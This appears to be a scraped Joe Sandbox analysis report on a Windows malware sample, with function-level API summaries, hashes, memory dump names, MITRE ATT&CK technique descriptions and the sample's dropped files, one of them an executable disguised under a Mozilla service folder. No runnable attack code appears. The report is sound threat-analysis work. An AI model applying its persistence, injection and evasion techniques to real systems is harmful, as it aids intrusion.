Opcode Fuzzy Hash: 225de9ac537c223e12ea724ac3439e172a150625e8e3a2b98c2bee3ad6a0a120
Instruction Fuzzy Hash: 2B6136B19083055BDB10CF64D988B9B77E9AF86318F510529E98887302EF31E926C7F7

Function 6A048820 Relevance: 9.1, APIs: 6, Instructions: 64networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A04885A
WSAStartup.WS2_32(00000202,?), ref: 6A04886C
gethostname.WS2_32(?,00000104), ref: 6A048883
WSACleanup.WS2_32 ref: 6A04888E
__strlwr.LIBCMT ref: 6A0488B4
WSACleanup.WS2_32 ref: 6A0488E2

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Cleanup$Startup__strlwr_memsetgethostname
String ID:
API String ID: 1390831569-0
Opcode ID: d75fd70dd210dad643bb9d550296e28e297a3083cad31d8be6a0dc687fc99588
Instruction ID: 5a40844a5d86dd2cfa4043ec1f60d06d3fb7ef7b07dc69ab5ce373ac3094f930
Opcode Fuzzy Hash: d75fd70dd210dad643bb9d550296e28e297a3083cad31d8be6a0dc687fc99588
Instruction Fuzzy Hash: 4711B9B1B04200ABEA649B249C5E7EF77E8BF97314F40052DE589C71C1EF7154098793

Function 6A076B4A Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 6A076B5B
GetDlgCtrlID.USER32(00000000), ref: 6A076B6F
GetWindowLongA.USER32(00000000,000000F0), ref: 6A076B7F
GetWindowRect.USER32(00000000,?), ref: 6A076B91
PtInRect.USER32(?,?,?), ref: 6A076BA1
GetWindow.USER32(?,00000005), ref: 6A076BAE

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 45e56aef02644424516e8afe40bc48954946093f862a8924c484d1d497a43cd2
Instruction ID: cb64cb9f60305203ce34f446e84151f304ddd6ed430a1e7145409234cc6d1abe
Opcode Fuzzy Hash: 45e56aef02644424516e8afe40bc48954946093f862a8924c484d1d497a43cd2
Instruction Fuzzy Hash: C3014471504115BBDF229A54DC08F9E3BACFF97710F514120F926E6090DB34D9928B95

Function 6A04AB40 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 6A04AC32

Strings

jdgg.rar, xrefs: 6A04AB6E
shgg.rar, xrefs: 6A04ABA2
wqgg.rar, xrefs: 6A04ABD7
ydgg.rar, xrefs: 6A04AC08

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _strncpy
String ID: jdgg.rar$shgg.rar$wqgg.rar$ydgg.rar
API String ID: 2961919466-2876948086
Opcode ID: c4bedb546b4827a5a3066a5956f716af5a4fcf326a53c5ec8970fd943047bf6e
Instruction ID: 24343e63af0f939379de9c4f1ea8bd20f7a17653b68baf8c80eb1672ba7d3ea4
Opcode Fuzzy Hash: c4bedb546b4827a5a3066a5956f716af5a4fcf326a53c5ec8970fd943047bf6e
Instruction Fuzzy Hash: D931E436908301EBE7518A149C54BD237E9FB06308FA58979ED85C7252EF72E54CCB81

Function 6A076A00 Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?), ref: 6A076A2C
_memset.LIBCMT ref: 6A076A49
GetWindowTextA.USER32(00000000,00000000,00000100), ref: 6A076A63
lstrcmpA.KERNEL32(00000000,?,?,?), ref: 6A076A75
SetWindowTextA.USER32(00000000,?), ref: 6A076A81

Part of subcall function 6A06F4C1: __CxxThrowException@8.LIBCMT ref: 6A06F4D7
Part of subcall function 6A06F4C1: __EH_prolog3.LIBCMT ref: 6A06F4E4

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 41df04a9f903c212ed691f1c6467856cd55448ca95025690dd0ebbc4f7d22220
Instruction ID: aefc6d210d5566c20fffd9d71ea7feb5b428e0da43e6c76b89e02b4e90277322
Opcode Fuzzy Hash: 41df04a9f903c212ed691f1c6467856cd55448ca95025690dd0ebbc4f7d22220
Instruction Fuzzy Hash: B501C4B2A011156BDB10DA649C88BDF77ECFB96304F114061EA06D3141DE74DE448BA4

Function 6A070B0C Relevance: 6.1, APIs: 4, Instructions: 57threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6A070B13

Part of subcall function 6A0718BA: __EH_prolog3.LIBCMT ref: 6A0718C1

__strdup.LIBCMT ref: 6A070B35
GetCurrentThread.KERNEL32 ref: 6A070B62
GetCurrentThreadId.KERNEL32 ref: 6A070B6B

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 244b760c1129d468f4d194d763307bc65053778cf61292236b064ac24e957fc7
Instruction ID: cdae58ecbb75df9a7a2c6cbf240bf3cd72d1c41df79a91cbf40c8289902a596a
Opcode Fuzzy Hash: 244b760c1129d468f4d194d763307bc65053778cf61292236b064ac24e957fc7
Instruction Fuzzy Hash: 1E2190B0804B448FC7218F7A854534AFBE4BFA4704F11890FD1AAC7B22DBB5A541CF59

Function 6A096B7A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6A096B81
__CxxThrowException@8.LIBCMT ref: 6A096BAC

Part of subcall function 6A083660: RaiseException.KERNEL32(?,?,00000000,?), ref: 6A0836A2

Strings

invalid string position, xrefs: 6A096B86

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrow
String ID: invalid string position
API String ID: 1961742612-1799206989
Opcode ID: 0e5e07906d8f8efe14a6c4fcfae32005c4c3ed7768d4cc6e5970804d960cc0b0
Instruction ID: aa223fdd941e59925cc9dd6644a34afc64042dc46fffc682c86cda45339abbba
Opcode Fuzzy Hash: 0e5e07906d8f8efe14a6c4fcfae32005c4c3ed7768d4cc6e5970804d960cc0b0
Instruction Fuzzy Hash: C2D017B281010C9ACF04DBD4CC49FEDB7786F18318F416025E205B7046EF749A04DBA9

Function 6A074BD0 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6A0AFFE8,?,?,00000000,?,6A07522C,?,00000004,6A074B28,6A06F4DD,6A072D49,6A04BFE2,00000000), ref: 6A074BDE
TlsGetValue.KERNEL32(6A0AFFCC,?,00000000,?,6A07522C,?,00000004,6A074B28,6A06F4DD,6A072D49,6A04BFE2,00000000), ref: 6A074BF2
LeaveCriticalSection.KERNEL32(6A0AFFE8,?,00000000,?,6A07522C,?,00000004,6A074B28,6A06F4DD,6A072D49,6A04BFE2,00000000), ref: 6A074C08
LeaveCriticalSection.KERNEL32(6A0AFFE8,?,00000000,?,6A07522C,?,00000004,6A074B28,6A06F4DD,6A072D49,6A04BFE2,00000000), ref: 6A074C13

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 4bd31d5ec34ac502b889e6debd60b3b290f52c81e2a7e84a3219630f4fa81bbe
Instruction ID: de1f968f941ce22744e64d6b3b15c896b427dd1add94dbf587da4f6819fa95eb
Opcode Fuzzy Hash: 4bd31d5ec34ac502b889e6debd60b3b290f52c81e2a7e84a3219630f4fa81bbe
Instruction Fuzzy Hash: 7FF05476204109EFD7604F59D948D0677FDFB953603265415E505D3112DA72FC829AA4

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\httpErrorPagesScripts[1]

